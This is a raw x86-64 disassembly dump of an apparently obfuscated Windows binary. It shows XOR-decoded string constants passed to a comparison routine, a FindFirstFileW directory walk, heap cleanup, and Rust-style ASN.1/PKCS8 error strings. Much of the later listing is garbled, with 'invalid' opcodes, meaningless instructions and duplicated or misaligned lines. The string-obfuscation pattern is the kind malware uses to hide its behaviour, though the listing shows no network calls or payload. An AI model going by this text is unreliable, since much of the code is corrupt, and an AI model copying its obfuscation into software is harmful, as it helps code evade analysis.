jne 0x140013650
lea rax, case.default.0x14007198e
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xf1d711a57bf5fe82
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.1400047c5
mov ecx, dword [rax]
mov edx, 0x9e8fec36
xor rcx, rdx
mov al, byte [rax + 4]
xor al, 0xf2
mov byte [rbp + 0xc74], al
mov dword [rbp + 0xc70], ecx
mov r9d, 5
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14006b5d4]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0x75fdfeaddb489246
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.14000421b
mov rcx, qword [rax]
movabs rdx, 0xe2603292d47375b0
xor rcx, rdx
movzx eax, word [rax + 8]
xor eax, 0x11eb
mov qword [rbp + 0x9d0], rcx
mov word [rbp + 0x9d8], ax
mov r9d, 0xa
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140069be5]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0x8d577e563a45cd8
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.140003ceb
mov rcx, qword [rax]
movabs rdx, 0x3330345563ca1abb
xor rcx, rdx
mov edx, dword [rax + 8]
mov r8d, 0x82eb5f88
xor edx, r8d
movzx eax, word [rax + 0xc]
xor eax, 0x4ba5
mov qword [rbp + 0x9d0], rcx
mov dword [rbp + 0x9d8], edx
mov word [rbp + 0x9dc], ax
mov r9d, 0xe
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140070370]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0xb504d4bb3c418615
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.140004c02
mov rcx, qword [rax]
movabs rdx, 0x4e577473b885d723
xor rcx, rdx
movzx eax, word [rax + 8]
xor eax, 0xc7ff
mov qword [rbp + 0x9d0], rcx
mov word [rbp + 0x9d8], ax
mov r9d, 0xa
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14006af97]
mov qword [rbp + 0xc70], rax
lea rax, [rbp + 0xc70]
mov rcx, qword [rbp + 0xc70]
movabs rdx, 0x6076775727bbd287
mov qword [rbp + 0xc70], rdx
mov rdx, qword [rbp + 0xc70]
call fcn.1400045a2
mov rcx, qword [rax]
movabs rdx, 0xe727fe21c8d25f91
xor rcx, rdx
mov al, byte [rax + 8]
xor al, 0x50
mov qword [rbp + 0x9d0], rcx
mov byte [rbp + 0x9d8], al
mov r9d, 9
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
mov rcx, rsi
mov rdx, rbx
call fcn.14005e000
test rax, rax
je 0x1400136b0
mov rdi, rax
mov r14, rdx
lea rax, [0x140074dd4]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x608290f18cacc342
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140003fe8
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xfa0d
xor cl, 0xc1
mov byte [rbp + 0x9d2], cl
mov word [rbp + 0x9d0], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
mov r8, r12
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140078ac9]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x642f195b96f3009a
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140003ae3
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x30ad
xor cl, 0xc7
mov byte [rbp + 0xc72], cl
mov word [rbp + 0xc70], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x14006a4f1]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x155b6ec3a779ad24
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004779
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xe43b
xor cl, 0xdd
mov byte [rbp + 0xc72], cl
mov word [rbp + 0xc70], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x1400714d4]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0x224880c60816e921
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.14000454b
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xc2b
xor cl, 0x5d
mov byte [rbp + 0xc72], cl
mov word [rbp + 0xc70], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
jne 0x140013650
lea rax, [0x140075a6f]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
movabs rax, 0xdbb54d4e01ac98ee
mov qword [rbp + 0x9d0], rax
mov rdx, qword [rbp + 0x9d0]
call fcn.140004642
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x91f1
xor cl, 0xa8
mov byte [rbp + 0xc72], cl
mov word [rbp + 0xc70], ax
mov r9d, 3
mov rcx, rdi
mov rdx, r14
lea r8, [rbp + 0xc70]
call fcn.140025aac
test al, al
je 0x1400136b0
mov rbx, qword [rbp + 0xcb8]
test rbx, rbx
je 0x14001366e
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x470]
lock dec qword [rax]
jne 0x140013687
mov rcx, qword [rbp + 0x470]
call fcn.1400025ec
cmp qword [rbp + 0x210], 0
je 0x1400120c8
cmp qword [rbp + 0x218], 0
jne 0x1400120c8
mov rcx, r15
call fcn.1400020a1
jmp 0x1400120c8
mov rcx, rsi
mov rdx, rbx
mov r8, qword [rbp + 0xc68]
call fcn.1400270e1
mov rcx, qword [rbp + 0xcb8]
mov qword [rbp + 0x9d0], rcx
mov qword [rbp + 0x9d8], rsi
mov qword [rbp + 0x9e0], rbx
mov rcx, qword [rbp + 0xc18]
mov qword [rbp + 0x9e8], rcx
mov byte [rbp + 0x9f0], al
lea rcx, [rbp + 0xc70]
lea rdx, [rbp + 0xc58]
mov r8, r12
call fcn.14000346e
mov rax, qword [rbp + 0xc70]
cmp rax, r13
je 0x14001372f
test rax, rax
je 0x14001372f
mov r8, qword [rbp + 0xc78]
mov rcx, qword [0x14009e2b0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000003
mov qword [rbp + 0x9d0], rax
lea rsi, [rbp + 0xc70]
mov rcx, rsi
lea rdx, [rbp + 0xc20]
mov r8, r12
call fcn.140003360
mov rcx, rsi
call fcn.140001d15
jmp 0x14001366e
mov r8d, 0x250
lea rdi, [rbp + 0x6c8]
mov rcx, rdi
xor edx, edx
call fcn.140071950
mov rcx, r15
mov rdx, rdi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
mov qword [rbp + 0xc38], rax
cmp rax, 0xffffffffffffffff
je 0x140013832
mov qword [rbp + 0xc50], r14
mov al, byte [0x14009e330]
mov edx, 0x30
xor ecx, ecx
call fcn.14005ea40
test rax, rax
je 0x140013b51
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rsi
mov rax, qword [rbp + 0xcb8]
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
mov byte [rdi + 0x28], 0
mov r8d, 0x250
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x6c8]
call fcn.1400712b0
mov r14d, 1
mov rax, qword [rbp + 0xc38]
mov qword [rbp + 0xc10], rax
jmp 0x14001392a
mov rcx, r15
call fcn.1400020a1
lea r12, [rbp + 0x9d0]
movabs r13, 0x8000000000000000
jmp 0x1400138c1
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x140013913
mov al, byte [0x14009e330]
mov edx, 0x30
xor ecx, ecx
call fcn.14005ea40
test rax, rax
je 0x140013b69
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rsi
mov rax, qword [rbp + 0xcb8]
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
mov byte [rdi + 0x28], 0
mov qword [rbp + 0xc10], 0xffffffffffffffff
test r14, r14
je 0x140013979
mov rcx, qword [0x14009e2b0]
xor r14d, r14d
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001397c
movabs r13, 0x8000000000000000
lea r14, [rbp + 0x470]
lea rcx, [rbp + 0x6c8]
call fcn.140001e19
cmp dword [rbp - 0x48], 2
mov rsi, qword [rbp + 0xc48]
jne 0x1400138e3
mov rcx, qword [rbp - 0x58]
call fcn.14002401a
mov rax, qword [rbp + 0xc28]
test rax, rax
je 0x140013901
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rbp + 0xc08]
test rdx, rdx
jne 0x140011d66
jmp 0x140013984
mov edi, eax
mov qword [rbp + 0xc50], r14
shl rdi, 0x20
or rdi, 2
mov r14d, 2
cmp qword [rbp + 0xc50], 0
je 0x140013946
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xc68], 0
je 0x140013966
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbp + 0xc30]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xc38], 0xffffffffffffffff
jne 0x140011f4f
jmp 0x140011f39
xor r14d, r14d
xor r15d, r15d
jmp 0x140011f14
mov rbx, qword [rbp + 0xbf0]
xor ecx, ecx
xor edx, edx
xor esi, esi
mov rdi, qword [rbp + 0xbf8]
sub rdx, rcx
shl rcx, 5
add rcx, rdi
call fcn.140001e88
mov rcx, rdi
mov rdx, rsi
call fcn.140001e88
test rbx, rbx
je 0x1400139c9
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0xc20]
call fcn.1400020c1
mov rax, qword [rbp + 0xc58]
lock dec qword [rax + 0x1d0]
mov rsi, qword [rbp + 0xc58]
jne 0x140013a68
mov edx, 1
lock xadd qword [rsi + 0x88], rdx
sub rsi, 0xffffffffffffff80
mov rcx, rsi
call fcn.140002c71
movabs rcx, 0x200000000
lock or qword [rax + 0x510], rcx
mov rsi, qword [rbp + 0xc58]
mov rax, qword [rsi + 0x110]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x110], rcx
jne 0x140013a27
test rax, rax
jne 0x140013a68
mov rax, qword [rsi + 0x100]
mov rcx, qword [rsi + 0x108]
mov qword [rsi + 0x100], 0
lock and qword [rsi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140013a68
call qword [rax + 8]
lock dec qword [rsi]
jne 0x140013a7a
mov rcx, qword [rbp + 0xc58]
call fcn.14000263a
lea rcx, [rbp + 0x9a8]
call fcn.140002249
movaps xmm6, xmmword [rbp + 0xcd0]
add rsp, 0xd68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test rdx, rdx
je 0x14001398b
mov rcx, qword [rbp + 0xc00]
xor eax, eax
cmp rcx, rbx
cmovae rax, rbx
sub rcx, rax
mov rax, rbx
sub rax, rcx
mov rsi, rdx
sub rsi, rax
jbe 0x140013ad3
mov rdx, rbx
jmp 0x140013991
add rdx, rcx
jmp 0x14001398f
lea rax, str.r_m_KrMD__kfH__E______MHN_____4__h__C
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.140073730
call fcn.140016fd0
jmp 0x140013b86
mov ecx, 1
mov rdx, rsi
call fcn.140072100
jmp 0x140013b86
call fcn.140016fd0
mov ecx, 1
mov rdx, rsi
call fcn.140072100
mov byte [rbp + 0xcc7], 1
mov ecx, 1
mov rdx, rsi
call fcn.140072100
jmp 0x140013b86
lea r8, str.___c_Me___m_K_v__9____A
mov rdx, rbx
call fcn.140073630
lea r8, str.___c_Me___m_K_v__9____A
mov rdx, r14
call fcn.140073630
mov qword [rbp + 0xc40], r15
mov ecx, 8
mov edx, 0x30
call fcn.140072100
jmp 0x140013b86
mov qword [rbp + 0xc50], r14
mov qword [rbp + 0xc40], r15
mov ecx, 8
mov edx, 0x30
call fcn.140072100
ud2
mov dword [rdi], 0x4b84100
add byte [rax], al
add cl, ch
mov dh, 0xf8
invalid
add al, 0x41
mov eax, 2
cmovb r8, rax
lea rax, [0x14008da50]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
or dword [rax - 0x73], ecx
add eax, 0x5eccb
or dword [rax - 0x73], ecx
add eax, 0x5eccb
mov qword [rsp + 0x20], rax
lea rax, [0x14008268a]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
jmp 0x14001a782
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x140079448]
mov qword [rsp + 0x20], rax
lea rax, [0x14007943e]
lea eax, [0x14007943e]
lea eax, [0x14007943e]
add eax, 0x5ecc2
mov r8d, 5
mov rcx, rdx
mov rdx, rax
call fcn.14001dd90
nop
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Version0
mov r8d, 7
jmp 0x14001a7c7
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.CryptoPkcs8
mov r8d, 6
add rsp, 0x38
jmp rax
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.k_CG_tB__p___T_kt_Un__5_______4Vk_________PRECKT2_t_G_uD___8A__Pe14Ne___oCn24j___6___u8R_hf
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x1400799d8]
mov edx, 0xd
add al, ch
invalid
nop
invalid
invalid
add al, ch
add eax, 0x4c000590
lea eax, [0x140079b10]
lea r8, str.RRj__N______g3_FFt______mHaYy_V__q_yh9_F______5_t_Q____o9_6x__f__L____f______W__C___uC_e
mov edx, 0x27
mov rcx, rax
call fcn.140073730
movzx eax, al
shl rax, 0x20
jmp 0x14001ab0f
ror byte [rax - 0x3f], 0xe0
and bl, ch
mov bh, 0xb8
add eax, 0xeb000000
mov al, 0xb8
add al, byte [rax]
add byte [rax], al
jmp 0x14001ab0f
lea r8, [0x14008da60]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
add rcx, 4
lea rax, [rsp + 0x40]
mov qword [rax], rcx
lea rcx, [0x140079b80]
out dx, eax
add eax, 0x4c894800
add byte [rax - 0x77], cl
and al, 0x30
out dx, eax
add eax, 0x4c894800
add byte [rax - 0x77], cl
and al, 0x30
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
lea rax, str.ArcInvalidarc
add byte [rbp + rcx*4 + 0xd], cl
leave
out dx, eax
invalid
invalid
add byte [rbp + rcx*4 + 0xd], cl
lea ecx, [0x140079b7a]
leave
out dx, eax
add eax, 0xab84100
add byte [rax], al
add bl, ch
jne 0x14001ac02
invalid
mov r8d, 0xa
jmp case.0x14002d084.16
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ArcTooBigBase128DigitExpected
adc eax, 0x5efd4
adc eax, 0x5efd4
out dx, eax
add eax, 0x9b84100
add byte [rax], al
add cl, ch
rol byte [rax], cl
add byte [rax], al
mov r8d, 9
jmp 0x14001aca9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140079ba9]
adc eax, 0x5efbf
adc eax, 0x5efbf
mov r8d, 7
jmp 0x14001aca9
inc rcx
lea rax, [rsp + 0x40]
ror dword [rax - 0x73], 0x44
and al, 0x40
mov qword [rax], rcx
lea rcx, [0x140079bc0]
or eax, 0x5efb9
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
mov dword [rsp + 0x20], 6
mov dword [rsp + 0x20], 6
and al, 0x20
invalid
lea rax, [0x140079bb0]
lea r9, str.actualTagUnknownbyte
mov r8d, 0xd
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x97e8
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14001dbd0
nop
add rsp, 0x48
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, str.EmptyInvalidDigitPosOverflowNegOverflowZeroParseIntErrorp
adc eax, 0x67e96
mov r8d, 5
jmp 0x14001aca9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x67a83
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x67a83
mov r8d, 6
jmp 0x14001aca9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x5ef58
sbb byte [rax - 0x73], cl
adc eax, 0x5ef58
mov r8d, 0xd
jmp 0x14001aca9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140079bed]
mov r8d, 0xb
add rsp, 0x48
jmp rax
movzx r9d, word [rbx + r8]
movd xmm3, r9d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
cmp rdx, r8
jne 0x14001ae80
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r8, xmm1
cmp rdx, r14
je 0x14001aed6
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x14001aec0
add rcx, r8
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
invalid
invalid
je 0x14001af1d
invalid
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x14001af1d
test al, 8
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x40], ebp
jne 0x14001af74
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
lea rax, [0x14008da80]
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x14001af11.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.14001b5f0
mov bl, 1
test al, al
je 0x14001af54
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
movzx eax, byte [rdi + 0x38]
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov esp, dword [rdi + 0x28]
mov esp, dword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
mov rdx, r12
mov edx, esp
mov edx, esp
mov r8d, ebp
mov r9, rbx
call fcn.14001b5f0
mov bl, 1
test al, al
invalid
jne 0x14001af41
sal byte [rbp - 0x71], 0x48
inc esi
inc rsi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
invalid
dec rsi
je 0x14001b07c
mov rcx, r13
mov edx, 0x30
call qword [r12 + 0x20]
test al, al
je 0x14001afc0
jmp 0x14001e08a
jmp 0x14001af41
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x14001b019
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x14001b000
mov bl, 1
jmp 0x14001af41
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.14001b5f0
mov bl, 1
test al, al
jne 0x14001af41
mov rcx, r12
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
call qword [r13 + 0x18]
test al, al
jne 0x14001af41
mov r14, rsi
neg r14
mov rbx, 0xffffffffffffffff
nop
lea rax, [r14 + rbx]
cmp rax, 0xffffffffffffffff
je 0x14001b0aa
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
inc rbx
test al, al
je 0x14001b060
jmp 0x14001b0ad
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r15
call qword [r12 + 0x18]
test al, al
jne 0x14001af41
mov eax, dword [rsp + 0x38]
mov dword [rdi + 0x30], eax
movzx eax, byte [rsp + 0x37]
mov byte [rdi + 0x38], al
xor ebx, ebx
jmp 0x14001af41
mov rbx, rsi
cmp rbx, rsi
setb bl
jmp 0x14001af41
add eax, 0x6f0f6600
adc eax, 0x5c946
sal dword [rbp - 0x2b], 0x66
pshufw mm1, mm0, 0xee
movd eax, mm1
enter 0xfeb, 0x31
rol byte [rax + 0xfc00f3c], cl
cmp al, 0xf
ror byte [rdi], 0x9d
cmp al, 0xf
ror byte [rdi], 0x9d
ret 0x148
or eax, 0x72201
or dword [rax + 1], 0x45e0ffc8
xor ebp, ebp
in eax, dx
in eax, dx
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r13, r15
mov rbx, qword [rsp + 0x58]
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
je 0x14001e212
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
js 0x14001dfe0
lea rdi, [r12 + 1]
jmp 0x14001e050
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x14001e033
lea rdi, [r12 + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x14001e041
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x14001e212
lea rdi, [r12 + 4]
jmp 0x14001e050
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x14001e050
shl eax, 0xc
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov r8d, 0x10001
call case.0x14002d084.66
cmp byte [rsp + 0x4c], 0x80
je 0x14001dfb8
movzx eax, byte [rsp + 0x57]
sub al, byte [rsp + 0x56]
cmp al, 1
je 0x14001dfb8
mov r8, r15
sub r8, r13
jb 0x14001e25f
test r13, r13
je 0x14001e0a8
cmp r13, qword [rsp + 0x38]
jae 0x14001e0a2
cmp byte [rbx + r13], 0xc0
jge 0x14001e0a8
jmp 0x14001e25f
jne 0x14001e25f
test r15, r15
je 0x14001e0c6
cmp r15, qword [rsp + 0x38]
jae 0x14001e0c0
cmp byte [rbx + r15], 0xbf
jg 0x14001e0c6
jmp 0x14001e25f
jne 0x14001e25f
add r13, rbx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
call qword [rax + 0x18]
test al, al
jne 0x14001df71
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x4c]
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x14001e160
mov bl, 0x80
jmp 0x14001e125
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x14001df71
cmp bl, 0x80
je 0x14001e100
movzx r13d, byte [rsp + 0x32]
cmp r13b, byte [rsp + 0x33]
jae 0x14001e1a0
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
jae 0x14001e24b
movzx edx, byte [rsp + r13 + 0x28]
jmp 0x14001e117
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
nop dword [rax + rax]
cmp r13, rbx
jae 0x14001e1a0
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
ja 0x14001e24b
movzx edx, byte [rsp + r13 + 0x28]
mov rcx, rsi
call r14
inc r13
test al, al
je 0x14001e170
jmp 0x14001df71
mov r13d, 1
cmp ebp, 0x80
jb 0x14001dfb0
mov r13d, 2
cmp ebp, 0x800
jb 0x14001dfb0
cmp ebp, 0x10000
mov r13d, 4
sbb r13, 0
jmp 0x14001dfb0
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x14001df71
mov rcx, rsi
mov edx, 0x22
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
test r13, r13
je 0x14001e232
mov rdx, qword [rsp + 0x38]
mov rax, rdx
sub rax, r13
mov r15, qword [rsp + 0x40]
jbe 0x14001e241
cmp byte [rbx + r13], 0xbf
jg 0x14001e246
jmp 0x14001e27e
xor r13d, r13d
mov r8, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x14001e1df
jne 0x14001e27e
mov r13, rdx
mov r8, rax
jmp 0x14001e1df
lea r8, str.zX4___9Akgm_qbDSX_K3BFVkAg
mov edx, 0xa
or al, byte [rax]
add byte [rax], al
invalid
or al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
call fcn.1400736b0
add eax, 0x58d4800
sub cl, al
add eax, 0x44894800
mov dword [rsp + 0x20], eax
lea rax, [0x14007aa90]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
and al, 0x38
cmp byte [rbp - 0x77], cl
call 0x128fb6bc7
call fcn.140073dc0
lea rax, [0x14007aa78]
mov qword [rsp + 0x20], rax
invalid
invalid
mov r8, r13
mov r9, r15
call fcn.140073dc0
lea rax, [0x14007aa78]
mov qword [rsp + 0x20], rax
mov dword [0x1848b2a8c], 0x89482024
add eax, 0x44894800
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rbx
mov ecx, ebx
invalid
mov r8, r13
mov r9, rdx
mov ecx, edx
mov ecx, edx
call fcn.140073dc0
int3
pop rbx
add eax, 0xcccccc00
int3
int3
cmp byte [rcx - 0x3176b729], cl
mov esi, ecx
invalid
sbb al, 0x89
clc
or dword [rax + 1], 0x66e0ffc8
mov dword [rsi], 0x24e9305c
add dword [rax], eax
add byte [rax], al
jne 0x14001f80d
mov edi, ebp
mov eax, r12d
test r13, r13
jne 0x14001f85e
jmp 0x14001f8ee
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x14001f9d0
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8, rbx
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x155850f], al
test dword [rbp + 1], edx
add byte [rax], al
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x155850f], al
test dword [rbp + 1], edx
test dword [rbp + 1], edx
add byte [rax], al
lea rax, [0x14008d200]
fld dword [rsi]
add byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
xor eax, eax
sub r15, rbx
cmovb r15, rax
mov dword [rsi + 0x30], 0x30
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x38], 1
cmp byte [rcx], al
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r13, r13
test ebp, ebp
test ebp, ebp
